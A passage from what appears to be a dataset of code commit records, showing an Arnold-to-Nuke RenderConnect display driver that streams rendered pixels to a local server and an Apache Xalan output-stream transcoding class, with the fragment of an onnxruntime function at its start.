std::unordered_map<int, dnnl::memory> reorder_mem_map({{DNNL_ARG_FROM, src_mem}, {DNNL_ARG_TO, dst_mem}});\n    sp.AddPrimitive(reorder, reorder_mem_map);\n  }\n  return dst_mem;\n}\n\n}  \/\/ namespace ort_dnnl\n}  \/\/ namespace onnxruntime<|endoftext|>"}
{"text":"<commit_before>\/*\nCopyright (c) 2010, Dan Bethell, Johannes Saam.\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n    * Redistributions of source code must retain the above copyright notice,\n    this list of conditions and the following disclaimer.\n\n    * Redistributions in binary form must reproduce the above copyright notice,\n    this list of conditions and the following disclaimer in the documentation\n    and\/or other materials provided with the distribution.\n\n    * Neither the name of RenderConnect nor the names of its contributors may be\n    used to endorse or promote products derived from this software without\n    specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <iostream>\n#include <exception>\n#include <cstring>\n\n#include \"Client.h\"\n#include \"Data.h\"\n\n\n#include <ai.h>\n#include <ai_critsec.h>\n#include <ai_drivers.h>\n#include <ai_filters.h>\n#include <ai_msg.h>\n#include <ai_render.h>\n#include <ai_universe.h>\n\n#include <boost\/asio.hpp>\n#include <boost\/bind.hpp>\n#include <boost\/thread\/thread.hpp>\n#include <boost\/format.hpp>\n\n#include <stdio.h>\n#include <iostream>\n#include <deque>\n\nusing namespace std;\nusing boost::asio::ip::tcp;\n\nAI_DRIVER_NODE_EXPORT_METHODS(NukeDriverMtd);\n\nstruct ShaderData\n{\n   \/\/boost::thread  thread;\n   \/\/void* thread;\n   renderconnect::Client *client;\n};\n\nnode_parameters\n{\n   AiParameterSTR(\"host\", \"127.0.0.1\");\n   AiParameterINT(\"port\", 9201);\n   AiMetaDataSetStr(mds, NULL, \"maya.translator\", \"nuke\");\n   AiMetaDataSetStr(mds, NULL, \"maya.attr_prefix\", \"\");\n}\n\nnode_initialize\n{\n   AiDriverInitialize(node, true, AiMalloc(sizeof(ShaderData)));\n}\n\nnode_update\n{\n}\n\ndriver_supports_pixel_type\n{\n   return true;\n}\n\ndriver_extension\n{\n   return NULL;\n}\n\ndriver_open\n{\n\n   ShaderData *data = (ShaderData*)AiDriverGetLocalData(node);\n\n   const char* host = AiNodeGetStr(node, \"host\");\n   int  port = AiNodeGetInt(node, \"port\");\n   int width = display_window.maxx - display_window.minx +1;\n   int height = display_window.maxy - display_window.miny +1;\n   \/\/ now we can connect to the server and start rendering\n   try\n   {\n       \/\/ create a new renderConnect object\n       data->client = new renderconnect::Client( host, port );\n\n       \/\/ make image header & send to server\n       renderconnect::Data header( 0, 0, width, height, 4 );\n       data->client->openImage( header );\n   }\n   catch (const std::exception &e)\n   {\n       AiMsgError(\"RenderConnect display driver\", \"%s\", e.what());\n   }\n\n\n\/\/   data->nchannels = 0;\n\/\/   unsigned int i = 0;\n\/\/   while (AiOutputIteratorGetNext(iterator, &aov_name, &pixel_type, NULL))\n\/\/   {\n\/\/      aov_list.push_back(aov_name);\n\/\/      if (i > 0)\n\/\/         aov_names += \",\";\n\/\/      aov_names += std::string(\"\\\"\") + aov_name + \"\\\"\";\n\/\/      switch(pixel_type)\n\/\/      {\n\/\/         case AI_TYPE_RGB:\n\/\/            data->nchannels = MAX(data->nchannels, 3);\n\/\/            break;\n\/\/         case AI_TYPE_RGBA:\n\/\/            data->nchannels = MAX(data->nchannels, 4);\n\/\/            break;\n\/\/         default:\n\/\/            break;\n\/\/      }\n\/\/      i++;\n\/\/   }\n\n}\n\ndriver_prepare_bucket\n{\n   AiMsgDebug(\"[renderConnect] prepare bucket (%d, %d)\", bucket_xo, bucket_yo);\n\n   \/\/\n}\n\ndriver_write_bucket\n{\n   ShaderData *data = (ShaderData*)AiDriverGetLocalData(node);\n\n   int         pixel_type;\n   const void* bucket_data;\n   const char* aov_name;\n\n   while (AiOutputIteratorGetNext(iterator, &aov_name, &pixel_type, &bucket_data))\n   {\n       const float *ptr = reinterpret_cast<const float*> (bucket_data);\n\n       \/\/ create our data object\n       renderconnect::Data packet(bucket_xo, bucket_yo,\n                                  bucket_size_x, bucket_size_y,\n                                  4, ptr);\n\n       \/\/ send it to the server\n       data->client->sendPixels(packet);\n   }\n}\n\ndriver_close\n{\n   AiMsgInfo(\"[renderConnect] driver close\");\n\n   ShaderData *data = (ShaderData*)AiDriverGetLocalData(node);\n   data->client->closeImage();\n}\n\nnode_finish\n{\n   AiMsgInfo(\"[renderConnect] driver finish\");\n   \/\/ release the driver\n\n   ShaderData *data = (ShaderData*)AiDriverGetLocalData(node);\n   delete data->client;\n\n   AiFree(data);\n   AiDriverDestroy(node);\n}\n\nnode_loader\n{\n   sprintf(node->version, AI_VERSION);\n\n   switch (i)\n   {\n      case 0:\n         node->methods      = (AtNodeMethods*) NukeDriverMtd;\n         node->output_type  = AI_TYPE_RGBA;\n         node->name         = \"driver_nuke\";\n         node->node_type    = AI_NODE_DRIVER;\n         break;\n      default:\n      return false;\n   }\n   return true;\n}\n\n<commit_msg>Update d_arnoldConnect.cpp<commit_after>\/*\nCopyright (c) 2010, Dan Bethell, Johannes Saam.\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n    * Redistributions of source code must retain the above copyright notice,\n    this list of conditions and the following disclaimer.\n\n    * Redistributions in binary form must reproduce the above copyright notice,\n    this list of conditions and the following disclaimer in the documentation\n    and\/or other materials provided with the distribution.\n\n    * Neither the name of RenderConnect nor the names of its contributors may be\n    used to endorse or promote products derived from this software without\n    specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\nANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include <iostream>\n#include <exception>\n#include <cstring>\n\n#include \"Client.h\"\n#include \"Data.h\"\n\n\n#include <ai.h>\n#include <ai_critsec.h>\n#include <ai_drivers.h>\n#include <ai_filters.h>\n#include <ai_msg.h>\n#include <ai_render.h>\n#include <ai_universe.h>\n\n#include <boost\/asio.hpp>\n#include <boost\/bind.hpp>\n#include <boost\/thread\/thread.hpp>\n#include <boost\/format.hpp>\n\n#include <stdio.h>\n#include <iostream>\n#include <deque>\n\nusing namespace std;\nusing boost::asio::ip::tcp;\n\nAI_DRIVER_NODE_EXPORT_METHODS(NukeDriverMtd);\n\nstruct ShaderData\n{\n   \/\/boost::thread  thread;\n   \/\/void* thread;\n   renderconnect::Client *client;\n};\n\nnode_parameters\n{\n   AiParameterSTR(\"host\", \"127.0.0.1\");\n   AiParameterINT(\"port\", 9201);\n   AiMetaDataSetStr(mds, NULL, \"maya.translator\", \"nuke\");\n   AiMetaDataSetStr(mds, NULL, \"maya.attr_prefix\", \"\");\n}\n\nnode_initialize\n{\n   AiDriverInitialize(node, true, AiMalloc(sizeof(ShaderData)));\n}\n\nnode_update\n{\n}\n\ndriver_supports_pixel_type\n{\n   return true;\n}\n\ndriver_extension\n{\n   return NULL;\n}\n\ndriver_open\n{\n\n   ShaderData *data = (ShaderData*)AiDriverGetLocalData(node);\n\n   const char* host = AiNodeGetStr(node, \"host\");\n   int  port = AiNodeGetInt(node, \"port\");\n   int width = display_window.maxx - display_window.minx +1;\n   int height = display_window.maxy - display_window.miny +1;\n   \/\/ now we can connect to the server and start rendering\n   try\n   {\n       \/\/ create a new renderConnect object\n       data->client = new renderconnect::Client( host, port );\n\n       \/\/ make image header & send to server\n       renderconnect::Data header( 0, 0, width, height, 4 );\n       data->client->openImage( header );\n   }\n   catch (const std::exception &e)\n   {\n       AiMsgError(\"RenderConnect display driver\", \"%s\", e.what());\n   }\n\n\n\/\/   data->nchannels = 0;\n\/\/   unsigned int i = 0;\n\/\/   while (AiOutputIteratorGetNext(iterator, &aov_name, &pixel_type, NULL))\n\/\/   {\n\/\/      aov_list.push_back(aov_name);\n\/\/      if (i > 0)\n\/\/         aov_names += \",\";\n\/\/      aov_names += std::string(\"\\\"\") + aov_name + \"\\\"\";\n\/\/      switch(pixel_type)\n\/\/      {\n\/\/         case AI_TYPE_RGB:\n\/\/            data->nchannels = MAX(data->nchannels, 3);\n\/\/            break;\n\/\/         case AI_TYPE_RGBA:\n\/\/            data->nchannels = MAX(data->nchannels, 4);\n\/\/            break;\n\/\/         default:\n\/\/            break;\n\/\/      }\n\/\/      i++;\n\/\/   }\n\n}\n\ndriver_needs_bucket\n{\n   return true;\n}\n\ndriver_prepare_bucket\n{\n   AiMsgDebug(\"[renderConnect] prepare bucket (%d, %d)\", bucket_xo, bucket_yo);\n}\n\ndriver_process_bucket\n{\n\n}\n\ndriver_write_bucket\n{\n   ShaderData *data = (ShaderData*)AiDriverGetLocalData(node);\n\n   int         pixel_type;\n   const void* bucket_data;\n   const char* aov_name;\n\n   while (AiOutputIteratorGetNext(iterator, &aov_name, &pixel_type, &bucket_data))\n   {\n       const float *ptr = reinterpret_cast<const float*> (bucket_data);\n\n       \/\/ create our data object\n       renderconnect::Data packet(bucket_xo, bucket_yo,\n                                  bucket_size_x, bucket_size_y,\n                                  4, ptr);\n\n       \/\/ send it to the server\n       data->client->sendPixels(packet);\n   }\n}\n\ndriver_close\n{\n   AiMsgInfo(\"[renderConnect] driver close\");\n\n   ShaderData *data = (ShaderData*)AiDriverGetLocalData(node);\n   data->client->closeImage();\n}\n\nnode_finish\n{\n   AiMsgInfo(\"[renderConnect] driver finish\");\n   \/\/ release the driver\n\n   ShaderData *data = (ShaderData*)AiDriverGetLocalData(node);\n   delete data->client;\n\n   AiFree(data);\n   AiDriverDestroy(node);\n}\n\nnode_loader\n{\n   sprintf(node->version, AI_VERSION);\n\n   switch (i)\n   {\n      case 0:\n         node->methods      = (AtNodeMethods*) NukeDriverMtd;\n         node->output_type  = AI_TYPE_RGBA;\n         node->name         = \"driver_nuke\";\n         node->node_type    = AI_NODE_DRIVER;\n         break;\n      default:\n      return false;\n   }\n   return true;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999, 2000 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n * OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n * SUCH DAMAGE.\n * ====================================================================\n *\n * This software consists of voluntary contributions made by many\n * individuals on behalf of the Apache Software Foundation and was\n * originally based on software copyright (c) 1999, International\n * Business Machines, Inc., http:\/\/www.ibm.com.  For more\n * information on the Apache Software Foundation, please see\n * <http:\/\/www.apache.org\/>.\n *\/\n\/\/ Class header file...\n#include \"XalanOutputStream.hpp\"\n\n\n\n#include <util\/TransService.hpp>\n#include <util\/XMLException.hpp>\n\n\n\n#include \"XalanTranscodingServices.hpp\"\n\n\n\nXalanOutputStream::XalanOutputStream(\n\t\t\tBufferType::size_type\t\t\ttheBufferSize,\n\t\t\tTranscodeVectorType::size_type\ttheTranscoderBlockSize) :\n\tm_transcoderBlockSize(theTranscoderBlockSize),\n\tm_transcoder(0),\n\tm_bufferSize(theBufferSize),\n\tm_buffer(),\n\tm_encoding(),\n\tm_writeAsUTF16(false),\n\tm_transcodingBuffer()\n{\n\tm_buffer.reserve(theBufferSize + 1);\n}\n\n\n\nXalanOutputStream::~XalanOutputStream()\n{\n\tXalanTranscodingServices::destroyTranscoder(m_transcoder);\n}\n\n\n\nvoid\nXalanOutputStream::flush()\n{\n\tflushBuffer();\n\n\tdoFlush();\n}\n\n\n\nvoid\nXalanOutputStream::write(char\ttheChar)\n{\n\twrite(&theChar, 1);\n}\n\n\n\nvoid\nXalanOutputStream::write(XalanDOMChar\ttheChar)\n{\n\twrite(&theChar, 1);\n}\n\n\n\nvoid\nXalanOutputStream::write(\n\t\t\tconst XalanDOMChar*\t\ttheBuffer,\n\t\t\tunsigned long\t\t\ttheBufferLength)\n{\n\tassert(theBuffer != 0);\n\n\tif (theBufferLength + m_buffer.size() > m_bufferSize)\n\t{\n\t\tflushBuffer();\n\t}\n\n\tif (theBufferLength > m_bufferSize)\n\t{\n\t\tdoWrite(theBuffer, theBufferLength);\n\t}\n\telse\n\t{\n\t\tm_buffer.insert(m_buffer.end(),\n\t\t\t\t\t\ttheBuffer,\n\t\t\t\t\t\ttheBuffer + theBufferLength);\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::write(const XalanDOMChar*\ttheBuffer)\n{\n\tif (theBuffer != 0)\n\t{\n\t\twrite(theBuffer, length(theBuffer));\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::write(const char*\ttheBuffer)\n{\n\tassert(theBuffer != 0);\n\n\tflushBuffer();\n\n\twriteData(theBuffer,\n\t\t      strlen(theBuffer));\n}\n\n\n\nvoid\nXalanOutputStream::write(\n\t\t\tconst char*\t\ttheBuffer,\n\t\t\tunsigned long\ttheBufferLength)\n{\n\tassert(theBuffer != 0);\n\n\tflushBuffer();\n\n\twriteData(theBuffer,\n\t\t\t  theBufferLength);\n}\n\n\n\nvoid\nXalanOutputStream::transcode(\n\t\t\tconst XalanDOMChar*\t\ttheBuffer,\n\t\t\tTranscodeVectorType&\ttheDestination)\n{\n\t\/\/ This is a special version that will short-cut when\n\t\/\/ transocding to the local code page.  On platforms\n\t\/\/ where XalanDOMChar == wchar_t, it saves copying\n\t\/\/ to a temporary buffer for the purposes of null-\n\t\/\/ terminating the string.\n\tif (m_transcoder == 0)\n\t{\n\t\tif (TranscodeToLocalCodePage(\n\t\t\t\ttheBuffer,\n\t\t\t\ttheDestination) == false)\n\t\t{\n\t\t\tthrow TranscodingException();\n\t\t}\n\t}\n\telse\n\t{\n\t\ttranscode(theBuffer, length(theBuffer), theDestination);\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::transcode(\n\t\t\tconst XalanDOMChar*\t\ttheBuffer,\n\t\t\tunsigned long\t\t\ttheBufferLength,\n\t\t\tTranscodeVectorType&\ttheDestination)\n{\n\tif (m_transcoder == 0)\n\t{\n\t\tif (TranscodeToLocalCodePage(\n\t\t\t\ttheBuffer,\n\t\t\t\ttheBufferLength,\n\t\t\t\ttheDestination) == false)\n\t\t{\n\t\t\tthrow TranscodingException();\n\t\t}\n\t}\n\telse\n\t{\n\t\tbool\t\t\t\t\tfDone = false;\n\n\t\t\/\/ Keep track of the total bytes we've added to the\n\t\t\/\/ destination vector, and the total bytes we've\n\t\t\/\/ eaten from theBuffer.\n\t\tunsigned int\t\t\ttheTotalBytesFilled = 0;\n\t\tunsigned int\t\t\ttheTotalBytesEaten = 0;\n\n\t\t\/\/ Keep track of the current position in the input buffer,\n\t\t\/\/ and amount remaining in the buffer, since we may not be\n\t\t\/\/ able to transcode it all at once.\n\t\tconst XalanDOMChar*\t\ttheBufferPosition = theBuffer;\n\t\tunsigned int\t\t\ttheRemainingBufferLength = theBufferLength;\n\n\t\t\/\/ Keep track of the destination size, and the target size, which is\n\t\t\/\/ the size of the destination that has not yet been filled with\n\t\t\/\/ transcoded characters.  Double the buffer size, in case we're\n\t\t\/\/ transcoding to a 16-bit encoding.\n\t\t\/\/ $$$ ToDo: We need to know the size of an encoding, so we can\n\t\t\/\/ do the right thing with the destination size.\n\t\tunsigned int\t\t\ttheDestinationSize = theBufferLength * 2;\n\t\tunsigned int\t\t\ttheTargetSize = theDestinationSize;\n\n\t\tdo\n\t\t{\n\t\t\t\/\/ Resize the buffer...\n\t\t\ttheDestination.resize(theDestinationSize + 1);\n\n\t\t\tunsigned int\t\t\t\t\t\ttheSourceBytesEaten = 0;\n\t\t\tunsigned int\t\t\t\t\t\ttheTargetBytesEaten = 0;\n\n\t\t\tXalanTranscodingServices::eCode\t\ttheResult =\n\t\t\t\tm_transcoder->transcode(\n\t\t\t\t\t\ttheBufferPosition,\n\t\t\t\t\t\ttheRemainingBufferLength,\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\t\t\t\t(XMLByte*)&theDestination[0] + theTotalBytesFilled,\n#else\n\t\t\t\t\t\treinterpret_cast<XMLByte*>(&theDestination[0]) + theTotalBytesFilled,\n#endif\n\t\t\t\t\t\ttheTargetSize,\n\t\t\t\t\t\ttheSourceBytesEaten,\n\t\t\t\t\t\ttheTargetBytesEaten);\n\n\t\t\tif(theResult != XalanTranscodingServices::OK)\n\t\t\t{\n\t\t\t\tthrow TranscodingException();\n\t\t\t}\n\n\t\t\ttheTotalBytesFilled += theTargetBytesEaten;\n\t\t\ttheTotalBytesEaten += theSourceBytesEaten;\n\n\t\t\tif (theTotalBytesEaten == theBufferLength)\n\t\t\t{\n\t\t\t\tfDone = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tassert(theTotalBytesEaten < theBufferLength);\n\n\t\t\t\t\/\/ Update everything...\n\t\t\t\ttheBufferPosition += theSourceBytesEaten;\n\t\t\t\ttheRemainingBufferLength -= theSourceBytesEaten;\n\n\t\t\t\t\/\/ The new target size will always be the\n\t\t\t\t\/\/ current destination size, since we\n\t\t\t\t\/\/ grow by a factor of 2.  This will\n\t\t\t\t\/\/ need to change if the factor is\n\t\t\t\t\/\/ every changed.\n\t\t\t\ttheTargetSize = theDestinationSize;\n\n\t\t\t\t\/\/ Grow the destination by a factor of\n\t\t\t\t\/\/ two 2.  See the previous comment if\n\t\t\t\t\/\/ you want to change this.\n\t\t\t\ttheDestinationSize = theDestinationSize * 2;\n\t\t\t}\n\t\t} while(fDone == false);\n\n\t\t\/\/ Resize things, if there are any extra bytes...\n\t\tif (theDestination.size() != theTotalBytesFilled)\n\t\t{\n\t\t\ttheDestination.resize(theTotalBytesFilled);\n\t\t}\n\t}\n}\n\n\n\nconst XalanDOMString&\nXalanOutputStream::getOutputEncoding() const\n{\n\treturn m_encoding;\n}\n\n\n\nvoid\nXalanOutputStream::setOutputEncoding(const XalanDOMString&\ttheEncoding)\n{\n\t\/\/ Flush, just in case.  This should probably be an error...\n\tflushBuffer();\n\n\tXalanTranscodingServices::destroyTranscoder(m_transcoder);\n\n\tXalanTranscodingServices::eCode\t\ttheCode = XalanTranscodingServices::OK;\n\n\t\/\/ This turns on an optimization that we can only do if\n\t\/\/ XalanDOMChar == sizeof(ushort).  See doWrite().\n#if !defined(XALAN_XALANDOMCHAR_USHORT_MISMATCH)\n\tif (XalanTranscodingServices::encodingIsUTF16(theEncoding) == true)\n\t{\n\t\tm_writeAsUTF16 = true;\n\t}\n\telse\n#endif\n\t{\n\t\tm_transcoder = XalanTranscodingServices::makeNewTranscoder(\n\t\t\t\t\ttheEncoding,\n\t\t\t\t\ttheCode,\n\t\t\t\t\tm_transcoderBlockSize);\n\n\t\tif (theCode == XalanTranscodingServices::UnsupportedEncoding)\n\t\t{\n\t\t\tthrow UnsupportedEncodingException(theEncoding);\n\t\t}\n\t\telse if (theCode != XalanTranscodingServices::OK)\n\t\t{\n\t\t\tthrow TranscoderInternalFailureException(theEncoding);\n\t\t}\n\n\t\tassert(m_transcoder != 0);\n\t}\n\n\tm_encoding = theEncoding;\n\n\ttypedef XalanTranscodingServices::XalanXMLByteVectorType\tXalanXMLByteVectorType;\n\n\tconst XalanXMLByteVectorType&\ttheProlog =\n\t\tXalanTranscodingServices::getStreamProlog(theEncoding);\n\n\tconst XalanXMLByteVectorType::size_type\t\ttheSize = theProlog.size();\n\n\tif (theSize > 0)\n\t{\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\twrite((const char*)theProlog[0], theProlog.size());\n#else\n\t\twrite(reinterpret_cast<const char*>(&theProlog[0]), theProlog.size());\n#endif\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::flushBuffer()\n{\n\tif (m_buffer.size() > 0)\n\t{\n\t\tm_buffer.push_back(0);\n\n\t\tdoWrite(&*m_buffer.begin());\n\n\t\tm_buffer.clear();\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::doWrite(const XalanDOMChar*\ttheBuffer)\n{\n\tassert(theBuffer != 0);\n\n\ttry\n\t{\n\t\tif (m_writeAsUTF16 == true)\n\t\t{\n\t\t\tassert(sizeof(XalanDOMChar) == sizeof(char) * 2);\n\n\t\t\t\/\/ This is a hack to write UTF-16 through as if it\n\t\t\t\/\/ were just chars.  Saves lots of time \"transcoding.\"\n#if defined(XALAN_OLD_STYLE_CASTS)\n\t\t\twriteData((const char*)theBuffer, length(theBuffer) * 2);\n#else\n\t\t\twriteData(reinterpret_cast<const char*>(theBuffer), length(theBuffer) * 2);\n#endif\n\t\t}\n\t\telse\n\t\t{\n\t\t\ttranscode(theBuffer, m_transcodingBuffer);\n\n\t\t\tassert(&m_transcodingBuffer[0] != 0);\n\n\t\t\twriteData(&m_transcodingBuffer[0],\n\t\t\t\t\t  m_transcodingBuffer.size());\n\t\t}\n\t}\n\tcatch(const XalanOutputStreamException&)\n\t{\n\t\t\/\/ Have to catch this error and flush any output remaining...\n\t\tm_buffer.clear();\n\n\t\tthrow;\n\t}\n}\n\n\n\nvoid\nXalanOutputStream::doWrite(\n\t\t\tconst XalanDOMChar*\t\ttheBuffer,\n\t\t\tunsigned long\t\t\ttheBufferLength)\n{\n\t\/\/ $$$ ToDo: Revisit this!!!\n\tBufferType\ttheLocalBuffer(theBuffer, theBuffer + theBufferLength);\n\n\ttheLocalBuffer.push_back(0);\n\n\tdoWrite(&theLocalBuffer[0]);\n}\n\n\n\nvoid\nXalanOutputStream::setBufferSize(BufferType::size_type\t\ttheBufferSize)\n{\n\tflushBuffer();\n\n\tm_bufferSize = theBufferSize;\n\n\tif (m_buffer.size() < m_bufferSize)\n\t{\n\t\t\/\/ Enlarge the buffer...\n\t\tm_buffer.reserve(theBufferSize + 1);\n\t}\n\telse if (m_buffer.size() > m_bufferSize)\n\t{\n\t\t\/\/ Shrink the buffer.\n\n\t\t\/\/ Create a temp buffer and make it\n\t\t\/\/ the correct size.\n\t\tBufferType\ttemp;\n\t\t\n\t\ttemp.reserve(theBufferSize + 1);\n\t\t\n\t\t\/\/ Swap temp with m_buffer so that\n\t\t\/\/ m_buffer is now the correct size.\n\t\ttemp.swap(m_buffer);\n\t}\n}\n\n\n\nXalanOutputStream::XalanOutputStreamException::XalanOutputStreamException(\n\t\t\tconst XalanDOMString&\ttheMessage,\n\t\t\tconst XalanDOMString&\ttheType) :\n\tXSLException(theMessage, theType)\n{\n}\n\n\n\nXalanOutputStream::XalanOutputStreamException::~XalanOutputStreamException()\n{\n}\n\n\n\nXalanOutputStream::UnknownEncodingException::UnknownEncodingException() :\n\tXalanOutputStreamException(\n\t\t\tTranscodeFromLocalCodePage(\"Unknown error occurred while transcoding!\"),\n\t\t\tTranscodeFromLocalCodePage(\"UnknownEncodingException\"))\n{\n}\n\n\n\nXalanOutputStream::UnknownEncodingException::~UnknownEncodingException()\n{\n}\n\n\n\nXalanOutputStream::UnsupportedEncodingException::UnsupportedEncodingException(const XalanDOMString&\ttheEncoding) :\n\tXalanOutputStreamException(\n\t\t\tTranscodeFromLocalCodePage(\"Unsupported encoding: \") + theEncoding,\n\t\t\tTranscodeFromLocalCodePage(\"UnsupportedEncodingException\")),\n\tm_encoding(theEncoding)\n{\n}\n\n\n\nXalanOutputStream::UnsupportedEncodingException::~UnsupportedEncodingException()\n{\n}\n\n\n\nXalanOutputStream::TranscoderInternalFailureException::TranscoderInternalFailureException(const XalanDOMString&\ttheEncoding) :\n\tXalanOutputStreamException(\n\t\t\tTranscodeFromLocalCodePage(\"Unknown error occurred while transcoding to \") +\n\t\t\t\t\ttheEncoding +\n\t\t\t\t\tTranscodeFromLocalCodePage(\"!\"),\n\t\t\tTranscodeFromLocalCodePage(\"TranscoderInternalFailureException\")),\n\tm_encoding(theEncoding)\n{\n}\n\n\n\nXalanOutputStream::TranscoderInternalFailureException::~TranscoderInternalFailureException()\n{\n}\n\n\n\nXalanOutputStream::TranscodingException::TranscodingException() :\n\tXalanOutputStreamException(\n\t\t\tTranscodeFromLocalCodePage(\"An error occurred while transcoding!\"),\n\t\t\tTranscodeFromLocalCodePage(\"TranscodingException\"))\n{\n}\n\n\n\nXalanOutputStream::TranscodingException::~TranscodingException()\n{\n}\n<commit_msg>Fixed bug in call to write() with XALAN_OLD_STYLE_CASTS.<commit_after>\/*\n * The Apache Software License, Version 1.1\n *\n *\n * Copyright (c) 1999, 2000 The Apache Software Foundation.  All rights \n * reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer. \n *\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n *\n * 3. The end-user documentation included with the redistribution,\n *    if any, must include the following acknowledgment:  \n *       \"This product includes software developed by the\n *        Apache Software Foundation (http:\/\/www.apache.org\/).\"\n *    Alternately, this acknowledgment may appear in the software itself,\n *    if and wherever such third-party acknowledgments normally appear.\n *\n * 4. The names \"Xalan\" and \"Apache Software Foundation\" must\n *    not be used to endorse or promote products derived from this\n *    software without prior written permission. For written \n *    permission, please contact apache@apache.org.\n *\n * 5. Products derived from this software may not be called \"Apache\",\n *    nor may \"Apache\" appear in their name, without prior written\n *    permission of the Apache Software Foundation.\n *\n * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n * USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, 